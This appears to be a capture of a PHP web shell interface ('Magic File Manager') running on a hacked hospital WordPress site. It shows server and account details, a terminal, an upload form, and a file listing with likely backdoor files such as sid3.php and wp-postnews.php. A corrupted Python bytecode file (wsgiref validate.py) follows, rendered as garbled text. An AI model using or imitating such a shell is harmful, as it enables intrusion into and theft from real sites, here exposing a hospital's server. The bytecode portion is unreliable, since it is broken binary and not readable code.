✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.93 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 \;;ã@sèdZdgZddlZddlZddlZejdƒZejdƒZGdd„deƒZ dd „Z d d „Z d d„Z Gd d„dƒZ Gdd„dƒZGdd„dƒZGdd„dƒZGdd„dƒZdd„Zdd„Zdd„Zdd„Zdd „Zd!d"„Zd#d$„Zd%d&„ZdS)'a& Middleware to check for obedience to the WSGI specification. Some of the things this checks: * Signature of the application and start_response (including that keyword arguments are not used). * Environment checks: - Environment is a dictionary (and not a subclass). - That all the required keys are in the environment: REQUEST_METHOD, SERVER_NAME, SERVER_PORT, wsgi.version, wsgi.input, wsgi.errors, wsgi.multithread, wsgi.multiprocess, wsgi.run_once - That HTTP_CONTENT_TYPE and HTTP_CONTENT_LENGTH are not in the environment (these headers should appear as CONTENT_LENGTH and CONTENT_TYPE). - Warns if QUERY_STRING is missing, as the cgi module acts unpredictably in that case. - That CGI-style variables (that don't contain a .) have (non-unicode) string values - That wsgi.version is a tuple - That wsgi.url_scheme is 'http' or 'https' (@@: is this too restrictive?) - Warns if the REQUEST_METHOD is not known (@@: probably too restrictive). - That SCRIPT_NAME and PATH_INFO are empty or start with / - That at least one of SCRIPT_NAME or PATH_INFO are set. - That CONTENT_LENGTH is a positive integer. - That SCRIPT_NAME is not '/' (it should be '', and PATH_INFO should be '/'). - That wsgi.input has the methods read, readline, readlines, and __iter__ - That wsgi.errors has the methods flush, write, writelines * The status is a string, contains a space, starts with an integer, and that integer is in range (> 100). * That the headers is a list (not a subclass, not another kind of sequence). * That the items of the headers are tuples of strings. * That there is no 'status' header (that is used in CGI, but not in WSGI). * That the headers don't contain newlines or colons, end in _ or -, or contain characters codes below 037. * That Content-Type is given if there is content (CGI often has a default content type, but WSGI does not). * That no Content-Type is given when there is no content (@@: is this too restrictive?) * That the exc_info argument to start_response is a tuple or None. * That all calls to the writer are with strings, and no other methods on the writer are accessed. * That wsgi.input is used properly: - .read() is called with zero or one argument - That it returns a string - That readline, readlines, and __iter__ return strings - That .close() is not called - No other methods are provided * That wsgi.errors is used properly: - .write() and .writelines() is called with a string - That .close() is not called, and no other methods are provided. * The response iterator: - That it is not a string (it should be a list of a single string; a string will work, but perform horribly). - That .__next__() returns a string - That the iterator is not iterated over until start_response has been called (that can signal either a server or application error). - That .close() is called (doesn't raise exception, only prints to sys.stderr, because we only know it isn't called when the object is garbage collected). Ú validatoréNz^[a-zA-Z][a-zA-Z0-9\-_]*$z [\000-\037]c@seZdZdZdS)Ú WSGIWarningz: Raised in response to WSGI-spec-related warnings N)Ú__name__Ú __module__Ú __qualname__Ú__doc__©rrú(/usr/lib64/python3.6/wsgiref/validate.pyrysrcGs|s t|Ž‚dS)N)ÚAssertionError)ZcondÚargsrrr Úassert_~sr cCs(t|ƒtkr|Stdj|t|ƒƒƒ‚dS)Nz!{0} must be of type str (got {1}))ÚtypeÚstrr ÚformatÚrepr)ÚvalueÚtitlerrr Úcheck_string_type‚s rcs‡fdd„}|S)a® When applied between a WSGI server and a WSGI application, this middleware will check for WSGI compliancy on a number of levels. This middleware does not modify the request or response in any way, but will raise an AssertionError if anything seems off (except for a failure to close the application iterator, which will be printed to stderr -- there's no way to raise an exception at that point). cs’tt|ƒdkdƒt| dƒ|\}‰t|ƒg‰‡‡fdd„}t|dƒ|d<t|dƒ|d<ˆ||ƒ}t|dk oz|dkd ƒt|ƒt|ˆƒS) NézTwo arguments requiredzNo keyword arguments allowedcs’tt|ƒdkpt|ƒdkd|fƒt| dƒ|d}|d}t|ƒdkrV|d}nd}t|ƒt|ƒt||ƒt|ƒˆjdƒtˆ|ŽƒS)NrézInvalid number of arguments: %szNo keyword arguments allowedré)r ÚlenÚ check_statusÚ check_headersÚcheck_content_typeÚcheck_exc_infoÚappendÚ WriteWrapper)r ÚkwÚstatusÚheadersÚexc_info)Ústart_responseÚstart_response_startedrr Ústart_response_wrapperŸs      z;validator..lint_app..start_response_wrapperz wsgi.inputz wsgi.errorsFz>The application must return an iterator, if only an empty list)r rÚ check_environÚ InputWrapperÚ ErrorWrapperÚcheck_iteratorÚIteratorWrapper)r rÚenvironr$Úiterator)Ú application)r"r#r Úlint_app”s  zvalidator..lint_appr)r,r-r)r,r rˆs )c@s<eZdZdd„Zdd„Zdd„Zdd„Zd d „Zd d „Zd S)r&cCs ||_dS)N)Úinput)ÚselfÚ wsgi_inputrrr Ú__init__ÁszInputWrapper.__init__cGs0tt|ƒdkƒ|jj|Ž}tt|ƒtkƒ|S)Nr)r rr.Úreadr Úbytes)r/r Úvrrr r2Äs zInputWrapper.readcGs0tt|ƒdkƒ|jj|Ž}tt|ƒtkƒ|S)Nr)r rr.Úreadliner r3)r/r r4rrr r5Ês zInputWrapper.readlinecGsNtt|ƒdkƒ|jj|Ž}tt|ƒtkƒx|D]}tt|ƒtkƒq2W|S)Nr)r rr.Ú readlinesr Úlistr3)r/r ÚlinesÚlinerrr r6Ðs   zInputWrapper.readlinesccs x|jƒ}|sdS|VqWdS)N)r5)r/r9rrr Ú__iter__Øs zInputWrapper.__iter__cCstddƒdS)Nrz input.close() must not be called)r )r/rrr ÚcloseßszInputWrapper.closeN) rrrr1r2r5r6r:r;rrrr r&¿s r&c@s4eZdZdd„Zdd„Zdd„Zdd„Zd d „Zd S) r'cCs ||_dS)N)Úerrors)r/Ú wsgi_errorsrrr r1äszErrorWrapper.__init__cCs tt|ƒtkƒ|jj|ƒdS)N)r r rr<Úwrite)r/Úsrrr r>çszErrorWrapper.writecCs|jjƒdS)N)r<Úflush)r/rrr r@ëszErrorWrapper.flushcCsx|D]}|j|ƒqWdS)N)r>)r/Úseqr9rrr Ú writelinesîs zErrorWrapper.writelinescCstddƒdS)Nrz!errors.close() must not be called)r )r/rrr r;òszErrorWrapper.closeN)rrrr1r>r@rBr;rrrr r'âs r'c@seZdZdd„Zdd„ZdS)rcCs ||_dS)N)Úwriter)r/Z wsgi_writerrrr r1÷szWriteWrapper.__init__cCstt|ƒtkƒ|j|ƒdS)N)r r r3rC)r/r?rrr Ú__call__úszWriteWrapper.__call__N)rrrr1rDrrrr rõsrc@seZdZdd„Zdd„ZdS)ÚPartialIteratorWrappercCs ||_dS)N)r+)r/Ú wsgi_iteratorrrr r1szPartialIteratorWrapper.__init__cCs t|jdƒS)N)r)r+)r/rrr r:szPartialIteratorWrapper.__iter__N)rrrr1r:rrrr rEþsrEc@s4eZdZdd„Zdd„Zdd„Zdd„Zd d „Zd S) r)cCs ||_t|ƒ|_d|_||_dS)NF)Úoriginal_iteratorÚiterr+ÚclosedÚcheck_start_response)r/rFrJrrr r1 s zIteratorWrapper.__init__cCs|S)Nr)r/rrr r:szIteratorWrapper.__iter__cCsTt|j dƒt|jƒ}t|ƒtk r4tdd|fƒ|jdk rPt|jdƒd|_|S)NzIterator read after closedFz$Iterator yielded non-bytestring (%r)zjThe application returns and we started iterating over its body, but start_response has not yet been called)r rIÚnextr+r r3rJ)r/r4rrr Ú__next__s   zIteratorWrapper.__next__cCs d|_t|jdƒr|jjƒdS)NTr;)rIÚhasattrrGr;)r/rrr r;s zIteratorWrapper.closecCs"|jstjjdƒt|jdƒdS)Nz/Iterator garbage collected without being closed)rIÚsysÚstderrr>r )r/rrr Ú__del__#s zIteratorWrapper.__del__N)rrrr1r:rLr;rPrrrr r)s  r)c Csìtt|ƒtkdt|ƒ|fƒx d,D]}t||kd |fƒq$Wx*d-D]"}t||kd||dd…fƒqFWd|kr€tjdtƒxF|jƒD]:}d|kr˜qŠtt||ƒtkd|t||ƒ||fƒqŠWtt|dƒtkd|dfƒt|dd.kd|dƒt |dƒt |dƒ|dd/k�rrBz.wsgi.errors (%r) doesn't have the attribute %s)r@r>rB)r rM)r=rtrrr roqs  rocCsvt|dƒ}|jddƒd}tt|ƒdkd|ƒt|ƒ}t|dkd|ƒt|ƒdksb|dd krrtjd |tƒdS) NÚStatusrrrz)Status codes must be three characters: %rédzStatus code is invalid: %réú zjThe status string (%r) should be a three-digit integer followed by a single space and a status explanation)rÚsplitr rrrrjrkr)rZ status_codeZ status_intrrr rws   rcCstt|ƒtkd|t|ƒfƒi}xð|D]è}tt|ƒtkd|t|ƒfƒtt|ƒdkƒ|\}}t|dƒ}t|dƒ}t|jƒdkd|ƒd||jƒ<td|ko¨d |kd |ƒttj|ƒd |ƒt|j d ƒ oÞ|j d ƒ d|ƒt j|ƒr(tdd|t j|ƒj dƒfƒq(WdS)Nz%Headers (%r) must be of type list: %rz1Individual headers (%r) must be of type tuple: %rrz Header namez Header valuerzyThe Status header cannot be used; it conflicts with CGI script, and HTTP status is not given through headers (value: %r).Ú ú:z,Header names may not contain ':' or '\n': %rzBad header name: %rú-Ú_z#Names may not end in '-' or '_': %rrz#Bad header value: %r (bad char: %r)) r r r7rmrrÚlowerÚ header_reÚsearchÚendswithÚbad_header_value_reÚgroup)r Z header_namesÚitemÚnamerrrr r…s0          rcCs~t|dƒ}t|jddƒdƒ}d }x@|D]8\}}t|dƒ}|jƒdkr(||krRdStdd|ƒq(W||krztdd |ƒdS) NrurréÌé0z Header namez content-typezJContent-Type header found in a %s response, which must not return content.z,No Content-Type header found in headers (%s))r†r‡)rrrryr~r )rr ÚcodeZNO_MESSAGE_BODYr…rrrr r s    rcCs*t|dkpt|ƒtkd|t|ƒfƒdS)Nz exc_info (%r) is not a tuple: %r)r r rm)r!rrr r°srcCstt|ttfƒ dƒdS)NzwYou should not return a string as your application iterator, instead return a single-item list containing a bytestring.)r Ú isinstancerr3)r+rrr r(µsr()rÚ__all__ÚrerNrjÚcompilerr‚ÚWarningrr rrr&r'rrEr)r%rnrorrrrr(rrrr Úns.  7#  #A